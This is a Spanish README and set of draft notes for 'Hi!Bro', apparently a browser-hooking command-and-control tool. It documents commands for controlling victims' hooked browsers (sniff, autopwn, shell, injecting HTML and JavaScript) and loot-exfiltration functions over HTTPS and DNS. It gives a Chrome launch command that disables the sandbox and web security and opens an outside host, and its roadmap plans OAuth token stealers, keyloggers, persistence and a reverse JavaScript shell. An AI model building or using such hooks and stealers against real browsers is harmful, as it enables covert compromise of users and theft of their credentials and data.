# Hi!BRO

BoFC2
### Requisitos de Software
- **Node.js** Hi!Bro ha sido probado con Node.js versión 12.22.12. Asegúrate de tener una versión compatible.
- **Dependencias Utilizadas** Hi!Bro hace uso de las siguientes dependencias, las cuales serán instaladas automáticamente mediante **npm install**:
```
chalk@5.3.0
child_process@1.0.2
cli-table3@0.6.5
csv-parser@3.0.0
express@4.19.2
fast-csv@5.0.1
json2csv@6.0.0-alpha.2
readline-sync@1.4.10
webdav@5.6.0
webdav-server@2.6.2
ws@8.17.1
```
## Comandos Disponibles
**Desde la consola interactiva, puedes utilizar los siguientes comandos:**
- `show modules`: Muestra los módulos en una tabla.
- `show clients`: Muestra los clientes en una tabla.
- `use <module>`: Usa un módulo específico y cambia el prompt.
- `bro <client_id>`: Cambia el prompt al contexto de un cliente específico.
- `help`: Muestra este mensaje de ayuda.
- `exit`: Sale del programa.
//TODO COMANDOS
update modules
update hibro
reload
reload_all
hihook
massive <module>
?? big help
loot
services
save
sleep
version
#### Uso de Módulos
Cuando se usa el comando `use <module>`, el prompt cambia para reflejar el contexto del módulo. Los comandos específicos para módulos incluyen:
- `setparam <PARAM_NAME> <PARAM_VALUE>`: Establece un valor de parámetro en `template.js`.
- `info`: Muestra información sobre el módulo.
- `help`: Muestra los comandos disponibles para el módulo.
- `exit`: Sale del modo de módulo y vuelve al prompt principal.
- setclient <client_id>
-
#### Uso de Clientes
Cuando se usa el comando `bro <client_id>`, el prompt cambia para reflejar el contexto del cliente. Los comandos específicos para clientes incluyen:
info - Show information about the client
setmodule <MODULE_NAME> - Set a module for the client
sniff - Start sniffing data from the client
check - Check client security flags
inyectHTML <local-html-path> - inyect local HTML file
runjs <local-js-path> -
runwasm <local-wasm-path>
runwasmraw <local-wasm-path>
getcontext
autopwn
shell - Open a shell for the client
exit - Exit the client mode and return to main prompt
## Estructura de un Módulo
Un módulo en Hi!Bro está diseñado para ser fácilmente entendible y configurable. Cada módulo sigue una estructura específica que incluye metadatos y el código que se ejecutará en el navegador hookeado. A continuación se muestra un ejemplo de un módulo y una explicación detallada de su estructura.
### Ejemplo de Módulo: `simple-alert.js`
```javascript
/*
AUTHOR: hibro
NAME: simple-alert
URL: github.com/hibro
DESCRIPTION: Run a simple alert to test the hook
PARAM:MSG: Message to show in alert
*/
alert(PARAM:MSG);
```
### Estructura del Módulo
1. **Metadatos**: Cada módulo comienza con un bloque de comentarios que contiene metadatos sobre el módulo. Estos metadatos incluyen:
- `AUTHOR`: El autor del módulo.
- `NAME`: El nombre del módulo.
- `URL`: Un enlace relacionado con el módulo, como un repositorio de GitHub.
- `DESCRIPTION`: Una breve descripción de lo que hace el módulo.
- `PARAM`: Una lista de parámetros que el módulo puede recibir. Cada parámetro tiene un nombre y una descripción.
2. **Código del Módulo**: Después de los metadatos, se encuentra el código JavaScript que se ejecutará en el navegador hookeado.
## ORGANIGRAMA DEL PROYECTO
```
.
├── certificate.pem
├── data
│ ├── db
│ │ ├── clients.csv
│ │ ├── http-payloadStack.csv
│ │ └── modules-db.csv
│ ├── modules
│ │ └── simple-alert.js
│ └── templates
│ └── template.js
├── data.json
├── env
│ ├── add-functions.js
│ ├── client-functions.js
│ ├── menu-functions.js
│ ├── modules-functions.js
│ ├── show-functions.js
│ └── update-functions.js
├── hibro.js
├── inc
│ ├── config.js
│ ├── http-server.js
│ ├── https-server.js
│ ├── webdav-server.js
│ └── websocket-server.js
├── logs
│ ├── hibro.log
│ └── webdav-login.log
├── node_modules/
├── package.json
├── package-lock.json
├── privatekey.pem
└── README.md
```
### Archivos y Directorios Principales
- `certificate.pem` y `privatekey.pem`: Certificados SSL para el servidor HTTPS.
- `data/`: Contiene bases de datos, módulos y plantillas.
- `db/`: Bases de datos en formato CSV.
- `modules/`: Scripts de módulos.
- `templates/`: Plantillas para módulos.
- `env/`: Funciones auxiliares para manejar diferentes aspectos del servidor.
- `inc/`: Configuración y servidores.
- `logs/`: Archivos de log.
- `hibro.js`: Archivo principal del servidor.
- `package.json` y `package-lock.json`: Dependencias del proyecto.
# Hi!Hook
## HOOKING ❌ #>
### PROTOCOLOS DE HOOKING #>
- **HTTP & HTTPS**
- **Estado:** ❌✔️
- **Descripción:** HTTP y HTTPS son protocolos ampliamente utilizados para la comunicación web. Hi!Bro soporta ambos para el hooking de navegadores.
- **Websockets**
- **Estado:** ❌✔️
- **Descripción:** WebSockets permiten una comunicación bidireccional y en tiempo real entre el servidor y los navegadores, ideal para aplicaciones que requieren actualizaciones instantáneas.
- **WebDAV**
- **Estado:** ❌✔️
- **Descripción:** WebDAV es un protocolo para la gestión remota de archivos en servidores web. Hi!Bro lo utiliza para operaciones seguras y eficientes de archivos desde el navegador.
- **WebRTC**
- **Estado:** ❌
- **Descripción:** WebRTC permite comunicaciones de audio, video y datos en tiempo real entre navegadores. Actualmente no implementado en Hi!Bro.
- **QUIC/HTTP3**
- **Estado:** ❌
- **Descripción:** QUIC es un protocolo de transporte experimental que ofrece conexiones seguras y eficientes. No implementado en Hi!Bro.
- **TCP/UCP**
- **Estado:** ❌
- **Descripción:** Protocolos tradicionales de transporte de datos. No implementados en Hi!Bro.
### HOOK FUNTIONS
#### SENDING LOOT FUNCTIONS
- sendSimpleLoot() - Hace una peticion HTTPS a /loot/invoke-looter a la que le enviara una peticion como si fuera a subir un fichero donde el "raw" del fichero probiene un de base64 que se decodifica en la llamada de la funcion
- sendHTTPEncodedLoot()
- sendDNSEncodedLoot()
____
type,protocol,inyection-type
X X XX
type:
exploit-0001
exploit-0101
{
fingerbro:"",
lastTS:000,
hookd
}
## LOS JSON - ESTABLECER COMUNICACION BASICA CON HIHOOK.JS CON LOS JSON CON BASE64
```
El hookrecive siempre un paquete como este:
{"resultado":"Hi!Bro","datos":"","fingerprint":"d41d8cd98f00b204e9800998ecf8427e"}
El hook envia un paquete como este:
{'f': 'exploit-0001', 'c': "<base64>", 'server': 'bro.host'}
{'function': 'exploit-0001', 'code': "b'LyoKCmhpSG9vay5yZXN1bHRhZG8gPSAiT0siOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwpjb25zdCByZXN1bHRhZG8gPSBoaUhvb2sucmVzdWx0YWRvOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwoKaGlIb29rLmRhdG9zID0gIkRhdG9zIGFjdHVhbGl6YWRvcyI7IC8vIEVzdGFibGVjZXIgZWwgdmFsb3IgZGUgZGF0b3MKY29uc3QgZGF0b3MgPSBoaUhvb2suZGF0b3M7IC8vIE9idGVuZXIgZWwgdmFsb3IgZGUgZGF0b3MKCmhpSG9vay5jbGllbnRlID0gIk51ZXZvIENsaWVudGUiOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIGNsaWVudGUKY29uc3QgY2xpZW50ZSA9IGhpSG9vay5jbGllbnRlOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIGNsaWVudGUKCiovCgpmdW5jdGlvbiBpbml0TW9kdWxlKCkgewoKCWFsZXJ0KCIxMzM3Iik7Cgl3aW5kb3cuYnJvb2sucmVzdWx0YWRvID0gIk9LIjsKCXdpbmRvdy5icm9vay5kYXRvcyA9IGJ0b2EoIkVWQUwgUlVOTkVEIik7Cgp9Cgppbml0TW9kdWxlKCk7Cg=='", 'server': 'test.hb.net'}
Y recive algo como esto:
{"resultado":"OKDATA","datos":"RVZBTCBSVU5ORUQ=","cliente":"d41d8cd98f00b204e9800998ecf8427e"}
```
### EJEMPLO CON WSCAT #>
```
jomoza — 10/03/2023 10:47 PM
>> {"resultado":"Hi!Bro","datos":"","fingerprint":"d41d8cd98f00b204e9800998ecf8427e"}
<< {'f': 'xploit-0001', 'c': "b'LyoKCmhpSG9vay5yZXN1bHRhZG8gPSAiT0siOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwpjb25zdCByZXN1bHRhZG8gPSBoaUhvb2sucmVzdWx0YWRvOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIHJlc3VsdGFkbwoKaGlIb29rLmRhdG9zID0gIkRhdG9zIGFjdHVhbGl6YWRvcyI7IC8vIEVzdGFibGVjZXIgZWwgdmFsb3IgZGUgZGF0b3MKY29uc3QgZGF0b3MgPSBoaUhvb2suZGF0b3M7IC8vIE9idGVuZXIgZWwgdmFsb3IgZGUgZGF0b3MKCmhpSG9vay5jbGllbnRlID0gIk51ZXZvIENsaWVudGUiOyAvLyBFc3RhYmxlY2VyIGVsIHZhbG9yIGRlIGNsaWVudGUKY29uc3QgY2xpZW50ZSA9IGhpSG9vay5jbGllbnRlOyAvLyBPYnRlbmVyIGVsIHZhbG9yIGRlIGNsaWVudGUKCiovCgpmdW5jdGlvbiBpbml0TW9kdWxlKCkgewoKCWFsZXJ0KCIxMzM3Iik7Cgl3aW5kb3cuYnJvb2sucmVzdWx0YWRvID0gIk9LIjsKCXdpbmRvdy5icm9vay5kYXRvcyA9IGJ0b2EoIkVWQUwgUlVOTkVEIik7Cgp9Cgppbml0TW9kdWxlKCk7Cg=='", 'server': 'test.hb.net'}
jomoza — 10/03/2023 11:13 PM
>> {"resultado":"OK","datos":"RVZBTCBSVU5ORUQ=","cliente":"d41d8cd98f00b204e9800998ecf8427e"}
```
### Ofuscacion en hibro! (comunicaicones, payloads...)
- RECIVER PARSING :: (Para recepcion de ficheros y estas cosas)
- CIFRADO(!) _ OPCIONAL . - NOCRYPTO TAG!
- HiBRO en memoria - HiBro en un HID -
- HiBro conectividad de managment "como si fuera una victima"
### C2 MODE ()
CHROME PAYLOAD
.\chrome.exe --allow-sandbox-debugging --debug-devtools --disable --allow-insecure-localhost --allow-running-insecure-content --disable-kill-after-bad-ipc --disable-web-security --non-secure --reduce-security-for-testing --sync-allow-insecure-xmpp-connection --incognito --demo --accept-resource-provider --disallow-non-exact-resource-reuse --local-ntp-reload --enable-local-file-accesses --enable-local-sync-backend --force-fieldtrials --force-local-ntp --ui-enable-zero-copy --debug-enable-frame-toggle --enable-appcontainer --enable-android-wallpapers-app --enable-browser-task-scheduler --enable-experimental-web-platform-features --enable-experimental-input-view-features --force-app-mode --headless --ignore-certificate-errors --ignore-certificate-errors-spki-list --ignore-urlfetcher-cert-requests --javascript-harmony --log-net-log --no-sandbox --output --rdp_desktop_session --shared-files https://loveisinthe.net
___
# HIBRO TODO.
FUNCTIONAL POCS
[+]
## DEVING PAYLOADS #>
- some trolling payloads ❌❌❌
- change all images
- funny_sounds
- Token OAuth Stealer FALTA! ✔️❌
- second app in nodejs
- login form detectos - add button login
- BITB ( del rollo ) X /mas o menos... ❌
- integration
- Crash Browser ✔️❌ mirara bien crashes
- history
- recirsiv
- persistences? (uff) rolo? FALTA! ✔️❌
- PIVJSOTING ✔️❌
massive ifremings
open second miniwin
- exploiting (jsqlmap) FALTA X ✔️✔️❌
- jsqlmap (fuzzer)
- stealers js (jskeylogger, ...) ❌ ✔️
- https://www.hackingarticles.in/a-detailed-guide-on-html-smuggling/
- https://github.com/t3l3machus/toxssin
- file extractor
- macro adder
- Exfiltration
- HTTP
https://github.com/hoodoer/XSS-Data-Exfil/blob/main/exfilPayload.js
- DNS EXFILTRATION ❌❌
https://arxiv.org/pdf/1004.4357.pdf
https://hakin9.org/browsertunnel-surreptitiously-exfiltrate-data-from-the-browser-over-dns/
- reverseJSshell (integrated?)
- https://github.com/shelld3v/JSshell